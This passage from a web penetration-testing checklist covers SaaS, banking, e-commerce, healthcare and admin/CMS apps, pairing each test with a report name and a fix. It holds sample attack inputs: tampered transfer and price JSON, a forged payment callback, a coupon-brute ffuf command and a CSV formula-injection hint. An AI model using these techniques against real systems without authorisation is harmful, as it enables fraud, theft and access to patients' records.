  3. Swap to Org B's identifiers (in the path, body, header, or JWT claim) while keeping Org A's session.
  4. Any Org B data returned = a tenant-isolation break (usually critical).
⚑ Report as: “Cross-tenant data access — Tenant A can read Tenant B's data”
🛡 Fix: Scope every query by the server-trusted tenant of the session (never a client-supplied tenant ID); enforce it in a shared data-access layer; verify SAML/OAuth assertions and bind identities to the right org.

SaaS / multi-tenant — full coverage

Checklist itemHow to testReport as
Cross-tenant data accesstwo-tenant ID swap (above)Cross-tenant access (tenant isolation break)
Tenant ID tamperablechange tenant param/claimTenant isolation bypass
Subdomain/path tenant routing bypassmismatched tenant host vs bodyTenant routing bypass
Shared object across tenantsaccess another tenant file/reportCross-tenant object access
RBAC custom role over-privilegedcreate role, test scopeRBAC privilege escalation
Org admin → super-adminprobe super-admin functionsVertical privilege escalation
Invited user over-privilegedaccept invite, check permsExcessive invited-user privilege
Removed member retains access/tokenreuse token after removalRevoked member retains access
SAML signature not verifiedtamper SAML responseSAML signature not validated
SAML assertion replay / audience mismatchreplay assertionSAML assertion replay
SSO email/domain spoof to join orgspoof unverified email/domainOrg join via email spoof
OAuth redirect_uri not validatedtamper redirect_uriOAuth open redirect / token theft
OAuth state missing (login CSRF)drop state paramMissing OAuth state (login CSRF)
OAuth implicit token leak via referercheck token in URL/refererOAuth token leak
OAuth pre-account-takeoverpre-register victim emailOAuth pre-account takeover
API key scoped too broadlytest key against extra scopesOver-privileged API key
API key not revoked on removaluse key after user removedAPI key not revoked
Webhook secret missing (spoof)POST unsigned eventUnsigned webhook accepted
Plan/feature gating client-side onlycall gated feature directlyClient-side feature gating bypass
Trial extension / re-trial abusenew tenant re-trial, reset clockTrial abuse
Seat/license count manipulationtamper seat countLicense-count manipulation
Billing tied to client-controlled plan paramtamper plan in requestClient-controlled billing parameter
Audit log tampering / not recordingperform action, check logAudit logging gap
Cross-tenant export via shared job IDswap export/job IDCross-tenant data export

B   Banking / fintech

Money makes integrity, race conditions and OTP/IDOR the priorities. Every amount, account and status must be validated and signed server-side; concurrency must be safe.

Transaction integrity & race conditions

# Amount / account / status tampering in the transfer request
{"from":"MY_ACCT","to":"VICTIM_ACCT","amount":1000}     # change 'to', sign?
amount=-1000   amount=0.001   currency=INR→USD            # negative / rounding / fx
{"status":"FAILED"} → {"status":"SUCCESS"}               # forge gateway status

# Double-spend race: fire N parallel withdrawals (single-packet) before balance updates
⚑ Report as: “Fund transfer to arbitrary account via parameter tampering / Double-spend via race condition”
🛡 Fix: Server-side transaction signing/integrity on amount + payee; atomic balance operations with row locks; OTP bound to the exact transaction; idempotency keys to stop replay/double-spend; validate payee name vs account; hard limits enforced server-side.

Banking / fintech — full coverage

Checklist itemHow to testReport as
Transfer to arbitrary account (tamper)change payee paramFund transfer parameter tampering
Negative amount → reverse creditamount=-XNegative-amount logic flaw
Decimal/rounding abuse0.001 roundingRounding abuse
Currency mismatchpay low-value, credit highCurrency manipulation
Race on transfer/withdraw (double spend)parallel requestsRace condition (double spend)
Race on OTP verificationparallel OTP submitsOTP verification race condition
Beneficiary added without OTP/coolingskip OTP/cooling stepBeneficiary control bypass
Transaction limit bypass (parallel)parallel requests over limitTransaction-limit bypass
Account-number IDOR (balance/statement)swap account numberIDOR on account data
Statement/passbook IDORswap account in downloadIDOR on statements
Predictable transaction referenceenumerate referencesPredictable transaction ID
MPIN/TPIN brute (no lockout)brute PINPIN brute force
MPIN reset bypasstest reset flowPIN reset bypass
OTP reuse / cross-user OTPreuse / swap OTPOTP reuse / cross-user acceptance
Soft-token / device binding bypassmove token to new deviceDevice-binding bypass
Loan/credit limit tamperingtamper limit paramCredit-limit tampering
Interest/EMI calculation manipulationtamper calc inputsEMI/interest manipulation
Payee name vs account not validatedmismatch name/accountPayee validation missing
UPI/IMPS/NEFT replayreplay payment requestPayment request replay
Forged transaction status acceptedfailed→successTransaction status forgery
KYC document IDORswap KYC doc IDIDOR on KYC documents
Card/CVV/account in logs or responsesinspect responses/logsSensitive financial data exposure
No transaction signing on amounttamper amount, no integrity checkMissing transaction integrity
Session not device-bound (portable token)move token to another devicePortable session token
Cashback/reward credited multiple timesreplay reward claimReward replay
Regulatory data (PAN/Aadhaar) over-exposedinspect API responsesRegulatory data over-exposure

C   E-commerce

Carts, coupons, payment callbacks and refunds are the logic battlefield. The recurring theme: anything recalculated or trusted client-side can be tampered for free goods or money back.

# Price / quantity / total tampering at checkout
{"item":123,"price":0.01,"qty":1}    qty=-1    {"total":0}
# Payment bypass: confirm order without a real gateway success, or forge the callback
POST /payment/callback  {"order":555,"status":"PAID","signature":"???"}   # unsigned?
# Coupon abuse: reuse single-use, stack multiple, brute valid codes
ffuf -u https://target.tld/api/coupon/FUZZ -w codes.txt -mr '"valid":true'
⚑ Report as: “Price tampering at checkout / Payment bypass — order confirmed without gateway success”
🛡 Fix: Recompute price, tax, shipping and totals server-side from trusted catalogue data; verify signed payment-gateway callbacks; enforce coupon rules and single-use server-side; make refunds atomic and authorised.

E-commerce — full coverage

Checklist itemHow to testReport as
Price tampering in cart/checkoutedit price/total in requestPrice tampering
Negative quantityqty=-1Negative-quantity flaw
Currency manipulationchange currency at checkoutCurrency manipulation
Coupon stacking / single-use reuseapply multiple/reuseCoupon logic abuse
Coupon brute forceffuf coupon codesCoupon enumeration
Coupon after payment / on discounted itemapply post-paymentCoupon application flaw
Free product via price=0set price to 0Zero-price purchase
Tax/shipping removed via tamperdrop tax/shipping fieldsTax/shipping bypass
Gift-card balance manipulation/reusetamper/replay gift cardGift-card manipulation
Loyalty points manipulationadd/transfer pointsLoyalty-points manipulation
Cart total recalculated client-sidetamper total, server trusts itClient-side total trusted
Out-of-stock purchasableorder out-of-stock itemInventory logic bypass
Order status manipulationmark paid/shippedOrder-status manipulation
Payment bypass (no gateway success)confirm without paymentPayment bypass
Gateway callback forgingforge unsigned callbackPayment callback forgery
Partial payment accepted as fullunderpayPartial-payment acceptance
Refund to attacker / amount tampertamper refund target/amountRefund manipulation
Double refund via raceparallel refund requestsRefund race condition
BNPL / EMI eligibility tamperingtamper eligibility inputsBNPL eligibility manipulation
Wishlist/order-history IDORswap user/order IDIDOR on order history
Invoice/receipt IDORswap invoice IDIDOR on invoices
Review/rating spoof for another userpost as another userReview spoofing
Seller price/commission manipulationtamper seller fieldsMarketplace price manipulation
Address change redirects delivery (IDOR)change another order addressIDOR on delivery address
Order cancellation after dispatch abusecancel post-dispatchPost-dispatch cancellation abuse

D   Healthcare / health portals

Health portals are dominated by PHI confidentiality. IDOR on medical records is the headline risk, alongside unauthenticated report links and over-exposed PII.

⚑ Report as: “PHI IDOR — patient can view another patient's medical records”
🛡 Fix: Strict per-patient object authorisation on records, reports and prescriptions; no guessable/unauthenticated document links (signed, expiring); minimise PHI in responses; enforce consent and access logging; strip metadata from medical files.

Healthcare / health portals — full coverage

Checklist itemHow to testReport as
PHI/medical-record IDORswap patient/record IDIDOR on medical records (PHI)
Prescription/report download IDORswap document IDIDOR on medical documents
Appointment booking on behalf of anotherchange patient IDBooking authorisation bypass
Doctor/patient role boundary bypasscross-role accessRole boundary bypass
Lab report without auth (direct link)request link unauthenticatedUnauthenticated PHI access
PII/PHI over-exposed in APIinspect API JSONPHI over-exposure
Sensitive data in URL / shared link (no expiry)inspect share linksNon-expiring sensitive link
Consent / access-log not enforcedaccess without consent, check logConsent/audit gap
Medical document EXIF/metadata leakexiftool on filesMetadata leak (PHI)

E   Admin / CMS / internal portals

Admin and CMS panels combine exposure, weak auth, privilege escalation, blind XSS (fires in the admin's browser) and RCE via plugin/theme upload.

⚑ Report as: “Admin panel exposed to the internet with default credentials”
🛡 Fix: Restrict admin panels by network/VPN + MFA; remove default creds; rate-limit admin login; sanitise user-supplied data shown in admin views (blind XSS); restrict plugin/theme upload and patch CMS to current; require re-auth for config changes.

Admin / CMS / internal portals — full coverage

Checklist itemHow to testReport as
Admin panel public-facingnuclei exposed-panelsAdmin panel exposed
Default admin credentialstry vendor defaultsDefault admin credentials
Admin login no rate limit / no 2FAbrute / check MFAWeak admin authentication
Privesc low-admin → super-adminprobe super-admin functionsAdmin privilege escalation
Stored/blind XSS fires in admin viewXSS in user field shown to adminBlind XSS in admin panel
CSV export → formula injection (admin)=cmd() in user fieldCSV formula injection (admin)
Impersonate / login-as-user abusetest impersonation scopeImpersonation abuse
User-management IDOR (edit/delete admins)swap admin user IDIDOR on user management
Audit log disable/clear by lower roleattempt log clearAudit-log tampering
CMS plugin/theme upload → RCEupload malicious pluginRCE via plugin/theme upload
CMS known-CVE exploitnuclei -t cves (CMS-specific)CMS known vulnerability
Bulk action authZ missingbulk action as low roleMissing bulk-action authorisation
Config change without re-authchange settings, no re-authMissing re-auth on config change

✓   Coverage map & how to run it

Run the universal sections (0–11) on every web target, then add the category block that matches the app. Universal recon and access-control checks find the most; the category sections find the highest-impact, app-specific money/data bugs.

SectionRun onFocus
Universal 0–11Every web targetRecon, auth, sessions, access control, injection, logic, files, API, client-side, infra, crypto, info-disclosure
SaaSMulti-tenant appsTenant isolation, RBAC, SSO/OAuth, billing
BankingFintechTransaction integrity, race conditions, OTP, account IDOR
E-commerceOnline storesPrice/coupon/payment/refund logic
HealthcareHealth portalsPHI IDOR, data exposure, consent
Admin/CMSAdmin & internal portalsExposure, privesc, blind XSS, RCE via upload

Two habits make this checklist pay off. First, do recon properly — most criticals come from forgotten hosts and exposed files, not the main app. Second, for access control and logic, always test with two accounts and by calling the backend directly; the UI's restrictions almost never reflect the server's. Tick a box only when you've actually run the test and recorded the result — the finding names here are written so you can paste them straight into the report.

Reactions

Related Articles